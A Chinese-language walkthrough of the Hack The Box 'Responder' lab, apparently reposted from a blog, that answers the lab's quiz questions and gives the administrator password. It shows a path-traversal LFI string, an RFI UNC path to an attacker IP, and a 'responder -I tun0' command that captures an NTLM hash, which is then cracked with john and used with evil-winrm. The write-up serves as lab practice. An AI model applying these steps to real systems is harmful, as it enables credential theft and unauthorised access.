使用 IP 地址访问 Web 服务时,我们要重定向到的域是什么?
服务器上使用哪种脚本语言来生成网页?
抓取返回包判断
用于加载网页不同语言版本的 URL 参数的名称是什么?
根据提示,切换语言,可以发现答案是page
“page”参数的以下哪一个值是利用本地文件包含 (LFI) 漏洞的示例:“法语.html”、“//10.10.14.6/somefile”、“../../../../../../../../Windows/system32/drivers/etc/hosts“, ”minikatz.exe”
“page”参数的以下哪一个值是利用远程文件包含 (RFI) 漏洞的示例:“法语.html”、“//10.10.14.6/somefile”、“../../../../../../../../Windows/system32/drivers/etc/hosts“, ”minikatz.exe”
NTLM 代表什么?
我们在响应程序实用程序中使用哪个标志来指定网络接口?
administrator用户的密码是什么?
回答:badminton
首先启动responder并监听本地的tun0网卡,然后由于靶机存在RFI,因此可以远程访问本地的某个文件,使用responder拿到主机的administrator的哈希,然后使用john破解
使用responder监听本地tun0网卡
responder -I tun0
john 破解hash
我们将使用 Windows 服务(即在机器上运行)使用我们恢复的密码远程访问响应程序计算机。它侦听什么端口 TCP?
文章来源:https://www.toymoban.com/news/detail-408737.html
使用evil-winrm 进行登录
文章来源地址https://www.toymoban.com/news/detail-408737.html
到了这里,关于hack the box responder的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!